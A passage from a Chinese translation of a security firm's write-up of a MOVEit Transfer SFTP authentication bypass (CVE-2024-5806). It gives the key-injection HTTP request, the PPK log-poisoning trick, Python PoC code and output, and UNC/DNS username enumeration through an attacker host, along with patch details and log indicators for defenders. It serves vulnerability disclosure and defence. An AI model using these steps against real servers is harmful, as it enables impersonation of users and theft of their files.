参数指定了值signoff
以及将我们的密钥放在参数Arg12
中。
POST /guestaccess.aspx HTTP/2
Host: {{host}}
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
transaction=signoff&Arg12=
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "[email protected]"
AAAAB3NzaC1kc3MAAACBAIrAsIu1tvkRHImLwuv9/OhnHwhPjndOX17quEPJBAcq
...
AzY4ofp+AFdG4m064RsTi2GBR7Tr1WiQmCywPcv6SKBi5roxPCi3x1aotjQnd6JN
Pw==
---- END SSH2 PUBLIC KEY ----
查看日志文件,我们可以看到密钥已进入日志文件。它被其他文本包围,但至少密钥安全地存在。
2024-06-19 15:42:33.223 #14 z30 GuestAccess_GetHTML: Redirecting to human.aspx, the common sign-on page: /human.aspx?OrgID=8294&Language=en&Arg12=
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "[email protected]"
AAAAB3NzaC1kc3MAAACBAIrAsIu1tvkRHImLwuv9/OhnHwhPjndOX17quEPJBAcq
...
AzY4ofp+AFdG4m064RsTi2GBR7Tr1WiQmCywPcv6SKBi5roxPCi3x1aotjQnd6JN
Pw==
---- END SSH2 PUBLIC KEY ----
2024-06-19 15:42:33.223 #14 z10 SILGuestAccess.GetHTML: Caught exception of type ArgumentException: Redirect URI cannot contain newline characters.
Stack trace:
at System.Web.HttpResponse.Redirect(String url, Boolean endResponse, Boolean permanent)
at System.Web.HttpResponseWrapper.Redirect(String url)
at MOVEit.DMZ.WebApp.SILGuestAccess.GetHTML(HttpRequest& parmRequest, HttpResponse& parmResponse, HttpSessionState& parmSession, HttpApplicationState& parmApplicationState)
现在我们已经解决了一半的问题—我们已成功将我们的公钥植入系统日志文件中,目的是用它进行身份认证。
然而,第一个问题仍然存在。
任何加载文件的尝试都将失败,因为密钥没有出现在文件开头,因此该文件不是有效的 OpenSSH 格式的公钥。鉴于我们找不到任何在文件开头记录的方法,我们搜索了一些巧妙的方法来解决此要求。
我们发现这是一项艰巨的任务。检查负责加载 OpenSSH 密钥的代码后,我们发现它非常严格。它会尽早拒绝包含此类无关垃圾的文件。
但事实证明,OpenSSH 并不是该服务器支持的唯一密钥格式。
总而言之,它支持多达 12 种不同的密钥类型,包括 XML 编码密钥和 Java 格式的 JWK 存储等奇特类型。我们仔细梳理了负责加载这些密钥的代码,寻找任何从包含垃圾数据以及密钥文件本身的文件中读取密钥的方法,但由于密钥加载过程需要类似的结构,我们屡屡受挫。
例如,XML 文件格式乍一看很有趣,但需要格式正确的 XML 文档。
然后,我们在 MOVEit 中寻找可以将攻击者控制的数据写入有效 XML 文件的功能,但一无所获。我们被迫放弃 XML 文件格式,因为我们有 OpenSSH 格式。
然而,我们的搜索并非徒劳,最终我们发现了PPK
文件格式。我们仔细查看了处理加载此类密钥的代码:
public static void D([In] jc obj0, [In] string obj1, [In] string obj2)
{
Hashtable hashtable1 = new Hashtable();
Hashtable hashtable2 = new Hashtable();
if (!kj.A(obj1, hashtable1, hashtable2))
throw new Wm(271, "Cannot open certificate store: PPK encoding method is unknown.");
string str1 = sU.j(hashtable1, "Encryption");
string str2 = sU.j(hashtable2, "Public");
string str3 = sU.j(hashtable2, "Private");
byte[] numArray1 = null;
if (hashtable1.ContainsKey((object) "PuTTY-User-Key-File-3") && Wk.strEqNoCase(str1, "aes256-cbc"))
{
...
尽管从代码片段中可能看不出来,但是这个函数传递了一个 ASCII 分隔的行列表,从输入文件中读取,并继续搜索此列表以查找特定字符串的存在 - 例如,在代码片段的底部附近,我们看到在文件中搜索PuTTY-User-Key-File-3
字符串。
经过这种搜索,我们想知道,我们是否可以说服 PPK 文件加载器加载我们的密钥,即使它周围有很多额外的文本?
我们来看看这一行列表是如何生成的:
for (keyPos < keyText.Length)
{
..
lines[0] = lines[0].Trim();
bool containsColon = lines[0].Contains(":");
if (containsColon)
{
int colonPos = array[0].IndexOf(":");
string firstPart = substr(lines[0], 0 , colonPos).Trim();
string secondPart = substr(lines[0], colonPos + 1 ).Trim();
...
这看起来非常有希望 - 在这里,我们检查输入中的每一行,删除空格,并用冒号:
将其分隔成两部分。没有检查结果是否有效 - 表直接由键值对构成,然后上述代码将检查该表,寻找所需的键。没有冒号的行将直接被跳过(由于if (containsColon)
),而不是导致错误。
受此鼓舞,我们对PPK 文件格式进行了一些研究,并将我们的发现与反编译的加载器代码进行交叉引用。
虽然 [PPK 文件格式](https://tartarus.org/~simon/putty-snapshots/htmldoc/AppendixC.html)保存的是私钥,而不是我们尝试上传的公钥,但这是没问题的 - 对于服务器验证签名的目的而言,私钥只是公钥的超集。
我们适当地将我们的私钥转换为PPK格式,并查看结果。
PuTTY-User-Key-File-3: ssh-dss
Encryption: none
Comment: [email protected]
Public-Lines: 10
AAAAB3NzaC1kc3MAAACBAIrAsIu1tvkRHImLwuv9/OhnHwhPjndOX17quEPJBAcq
...
AzY4ofp+AFdG4m064RsTi2GBR7Tr1WiQmCywPcv6SKBi5roxPCi3x1aotjQnd6JN
Pw==
Private-Lines: 1
AAAAFQ.....................IePlr1g==
Private-MAC: 9ef71.................................................edb1d3fc3e
我们通过 POST 请求向之前的端点提供了这些数据:
POST /guestaccess.aspx HTTP/2
Host: {{host}}
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
transaction=signoff&Arg12=
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "[email protected]"
AAAAB3NzaC1kc3MAAACBAIrAsIu1tvkRHImLwuv9/OhnHwhPjndOX17quEPJBAcq
...
AzY4ofp+AFdG4m064RsTi2GBR7Tr1WiQmCywPcv6SKBi5roxPCi3x1aotjQnd6JN
Pw==
---- END SSH2 PUBLIC KEY ----
我们注意到密钥再次进入了日志文件。然而,这一次,当我们尝试进行身份认证时,密钥被正确解析,并且像之前一样认证被允许:
SILUser.ExecuteAuthenticators: Authenticating user 'user2' with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator
SILUser.ExecuteAuthenticators: User 'user2' authenticated with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator
太棒了!我们找到了一种方法,无需登录即可将 SSH 公钥上传到服务器,然后使用该密钥材料允许我们以任何我们想要的身份进行认证!
我们将采用之前的 PoC(用于强制身份认证的代码),并添加一小段代码以将密钥文件注入系统日志。
请注意,在默认配置中,日志每六十秒刷新到磁盘一次,因此我们需要等待这段时间以确保我们的密钥已写入磁盘。
...
# 确保我们的密钥文件在系统日志中
with open(ppkfile) as f:
ppkFileData = f.read()
requests.post(f"https://{host}/guestaccess.aspx", data={"transaction": "signoff", "Arg12": f"\r\n{ppkFileData}"})
time.sleep(61)
...
后果是严重的。
和之前一样,我们能够访问文件,唯一的要求是知道有效的用户名。同样,和之前一样,我们可以从服务器检索敏感文件、删除它们,或者执行经过认证的用户可以执行的任何操作。
但是现在,无论是否有任何访问权限,我们都有一个简单的方法以可预测的方式将我们的 SSH 公钥放置到 MOVEit Transfer 服务器上。
我们最终完成了基于 Python 的检测工件生成器工具(不,它不是 PoC,那是不同的 - 走开)可以像往常一样在[我们的 GitHub](https://github.com/watchtowrlabs/CVE-2024-5806)上找到。
它采用 OpenSSH 和 PPK 文件格式的密钥对,并将其注入到服务器的日志中,然后使用它为提供的用户名进行身份认证。它将列出服务器上的文件,以证明它已使用目标的所有权限登录。
C:\code\moveit> python CVE-2024-5806.py --target-ip 192.168.1.1 --target-user user2 --ppk id.ppk --pem id
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
CVE-2024-5806.py
(*) Progress MoveIT Transfer SFTP Authentication Bypass (CVE-2024-5806)
- Aliz Hammond, watchTowr ([email protected])
- Sina Kheirkhah (@SinSinology), watchTowr ([email protected])
CVEs: [CVE-2024-5806]
(*) Poisoning log files multiple times to be sure...
..........OK
(*) Waiting 60 seconds for logs to be flushed to disk
(*) Attempting to authenticate..
(*) Trying to impersonate user2 using the server-side file path 'C:\MOVEitTransfer\Logs\DMZ_WEB.log'
(+) Authentication succeeded.
(+) Listing files in home directory of user user2:
-rw-rw-rw- 1 0 0 1.4M Jun 11 11:39 stocks.xlsx
-rw-rw-rw- 1 0 0 2.4M Jun 13 13:32 customer_list.xlsx
-rw-rw-rw- 1 0 0 2.3M Jun 15 12:16 payroll_Jun.csv
-rw-rw-rw- 1 0 0 1.2M Jan 21 10:03 my_signature.png
-rw-rw-rw- 1 0 0 304 Jun 17 17:29 passwords.txt
获取用户名
正如我们所说,这是一个毁灭性的“有限场景”漏洞。
唯一限制的是,攻击者必须拥有一个有效的 SFTP 子系统用户名,才能知道要冒充谁。很容易想象攻击者会使用用户名列表(可能来自电子邮件列表),依次尝试利用每个用户名,直到有一个成功。
也许 dav1d_bl41ne 是对的?限制在于人对互联网的访问?
然而,还有另一种方法可以使用我们的攻击来检查用户名是否有效,从而允许类似字典的攻击,其中攻击者可以喷洒电子邮件地址或可能的用户名等令牌。
这取决于这样一个事实:如果提供的用户名有效,MOVEit 只会访问公钥文件。我们可以向恶意服务器提供 UNC 路径并观察哪些用户名会产生文件访问来简单地尝试对不同的用户名进行认证。
例如,如果我们知道[email protected]
是一个有效用户,我们可以对fred.blogs
尝试利用我们的强制身份认证,并指定密钥位置\\attacker.uniq.dns.lookup.watchtowr.com\foo
。
如果在我们的恶意 DNS 服务器上看到对此唯一主机名的查询 - 那么只需要 DNS 出站(哈哈,请不要假装您限制出站 DNS),这允许我们进行预先身份认证以确定用户名是否有效。
另一方面,如果我们没有看到传入连接,那么我们将使用略有不同的用户名重复身份认证请求 - 可能是f.blogs
或fblogs
。一旦我们看到下一个相关且唯一的主机名传入DNS 查询,我们就知道我们找到了有效的用户名。
简单来说,我们可以生成一个fred.blogs
的登录请求,并指定密钥文件位于\\fred.blogs.watchtowr.com\foo
。然后,我们可以检查 watchTowr DNS 服务器日志,看看是否有人尝试解析fred.blogs.watchtowr.com
,如果有,我们就知道服务器已成功认证该用户名并发现它是正确的。
和以前一样,我们会生成多个登录名排列,但这次我们可以更快地发送它们,因为我们不需要在每次尝试时等待传入连接。相反,我们可以发送所有请求,在每个请求上指定单独的域名,然后仔细查看DNS 服务器的日志以查看哪个请求产生了 DNS 查询。
修复
Progress 已开发并发布了补丁,版本号为2024.0.2
。二进制文件SftpServer.exe
中的版本号在此版本中已升级为16.0.2.57
。
检查补丁证实了我们的分析,因为没有设置StatusCode
成员的两个地方已被修补。
此修复可防止我们之前看到的极端情况。在新版本的代码中,当身份认证被拒绝时,也会设置StatusCode
,这可防止调用代码误认为身份认证已部分成功。
IPWorks SSH 库内部似乎发生了进一步的变化,可能是为了尝试强化它,尽管这些变化似乎是徒劳的(见下文)。
进一步影响
虽然这个 CVE 被吹捧为 Progress MOVEit 中的一个漏洞,从技术上来说是正确的,但我们认为我们实际看到的并不是一个单一的问题,而是两个独立的漏洞,一个在 Progress MOVEit 中,另一个在 IPWorks SSH 服务中。
虽然更具破坏性的漏洞(即冒充任意用户的能力)是 MOVEit 独有的,但影响较小(但仍然非常真实)的强制身份认证漏洞可能会影响所有使用 IPWorks SSH 服务的应用程序。
我们尝试通过构建[IPWorks SSH 示例](https://github.com/nsoftware-com/IPWorksSSH/tree/main)来验证这一点,发现它们确实允许我们强制 SMB 身份认证,从而允许我们使用 Responder 破解生成的哈希值(作为参考,我们测试的 IPWorks Nuget 包的版本是24.0.8917)。
这具有特别重要的意义,因为其他应用程序可能不会使用 MOVEit 所需的强权限分离(例如服务帐户),而是可能会立即暴露管理员凭据,从而导致整个系统受到损害。
缓解措施和 IoC
这是一次相当有危害的袭击,但至少对于防御者来说也有一些好消息。
首先,需要注意的是,要利用此攻击,需要知道系统上的有效用户名。虽然这对攻击者来说门槛很低,但它有助于限制自动攻击的开展。
除了需要有效的用户名之外,指定的用户名还必须通过任何基于 IP 的限制,因此将用户锁定到白名单 IP 地址可以降低风险。
因为你确实使用了额外的控制,对吧?对吧?
此外,值得关注的是,这次攻击在日志条目方面必然非常混杂。例如,SftpServer.log
文件将记录访问证书存储失败的条目。条目如下所示:
2024-06-19 16:45:24.412 #0B z10 <0> (229464221718840721395) IpWorksKeyService: Caught exception of type IPWorksSSHException: The certificate store could not be opened.
Stack trace:
at nsoftware.IPWorksSSH.Certificate..ctor(Byte[] certificateData)
at MOVEit.Net.Ssh.IpWorksKeyService.ParseKeyContent(String keyContent)
at MOVEit.Net.Ssh.IpWorksKeyService.GetKeyFingerprint(String keyContent, FingerprintType fingerprintType)
此错误表明 IPWorks 无法解析客户端发送过来的密钥,即使提供了有效的密钥路径来代替有效的密钥块本身也会生成此错误。
尝试冒充其他用户时,也可能会出现以下消息。请注意“fingerprint”和“user”之间的两个空格,这里通常会有一个密钥哈希:
2024-06-19 16:45:25.255 #0B z50 <0> (229464221718840721395) UserAuthRequestHandler: Validating client key fingerprint for user user2
相比之下,合法消息将类似于以下内容。
2024-06-13 12:30:56.542 #04 z50 <0> (422095031718307051011) UserAuthRequestHandler: Client key fingerprint 54:c2:1f:33:ab:63:ff:39:bd:03:d2:62:a1:2e:f3:e0 already authenticated for user user1; continuing with user authentication process
另一个关于漏洞利用尝试的日志如下:
2024-06-19 18:25:59.843 #04 z10 <0> (500515741718846753874) UserAuthRequestHandler: SftpPublicKeyAuthenticator: Attempted to authenticate empty public key fingerprint
这表明密钥是通过文件路径提供的,而不是二进制数据块。这种情况非常罕见(并且不属于 SSH 规范),在正常使用中不太可能出现。
最后,请注意,只有当以下两条消息同时出现在同一个连接上时,它们才表明存在漏洞(此处的连接 ID 在两个条目中相同,为“277614021718840671583”)。第二条条目表明除了密钥之外还需要密码,如果您的环境未配置为需要此类凭据,则它本身也可能是一种提示。
2024-06-19 16:45:26.240
2024-06-19 16:45:27.036
请注意,其中一些日志消息将显示在默认日志配置中,而有些则不会 - 使用我们的 PoC 代码来验证您的日志设置可能会很有用。
结论
显然,这是一个严重漏洞。考虑到对 SSH 协议的了解以及需要进行大量的 .NET 逆向工程,因此诊断起来也有些困难。
然而,Illegal characters in path
异常的存在应该引起正在寻找该漏洞的其他研究人员的注意,而且利用起来相对简单,很容易被“意外”发现。
一旦研究人员发现可以从文件中加载密钥,强制身份认证就成为可能,并且可以合理地假设他们可能偶然发现只需提供自己的密钥并观察会发生什么,就能冒充任意用户。
值得注意的是,虽然 MOVEit 过去遭受过一些“无需费脑”的漏洞(例如 SQLi),但这个问题并不属于“simple-error-that-should-not-have-made-it-into-hardened-software”类别。
该漏洞源自 MOVEit 与 IPWorks SSH 之间的相互作用,以及未能处理错误情况。这种漏洞不是通过静态分析等方式可以轻易发现的。
然而,抛出并捕获异常确实会在某种程度上暴露问题,并且应该在代码审查期间成为开发人员的“灯塔”。
目前尚不清楚 Progress 是如何发现这个问题的,事实上,情况可能正是如此 - 常规代码审查可能会让开发人员发现问题,找到根本原因,并意识到它对身份认证系统造成的危险。如果情况确实如此,我们向 Progress 表示敬意,因为它认真对待了这个问题,而不是像我们看到的其他供应商那样试图掩盖它。
如果这是一个外部聚会,类似的荣誉—史诗。
但另一方面,我们对该通报中使用的“有限场景”一词感到有些不安(您能猜到吗?),因为我们尚无法确定可以防止轻微利用的场景。也许这是由于供应商误解了问题的严重性,或者可能是不明智的尝试淡化其错误的严重性 - 或者,我们的分析是错误的,这都是故意为之。
Progress 已与客户联系数周/数月以修复此问题 - 并已尽最大努力确保已完成此工作。我们不希望任何人因禁令而仍然受到攻击,并且 Progress 已积极努力确保客户部署补丁。
如果由于某种原因,您没有修补系统,当供应商联系并敦促您修补严重漏洞时,请立即修补。
在 [watchTowr](https://www.watchtowr.com),我们相信持续的安全测试是未来的发展方向,能够快速识别影响您组织的可利用漏洞。
我们的工作是了解新兴威胁、漏洞和 TTP 如何影响您的组织。
如果您想了解有关 watchTowr 平台、我们的攻击面管理和持续的自动化红队解决方案的更多信息,请联系我们。
如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~
原文始发于微信公众号(沃克学安全):[翻译]Progress MOVEit Transfer身份认证绕过漏洞 (CVE-2024-5806)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论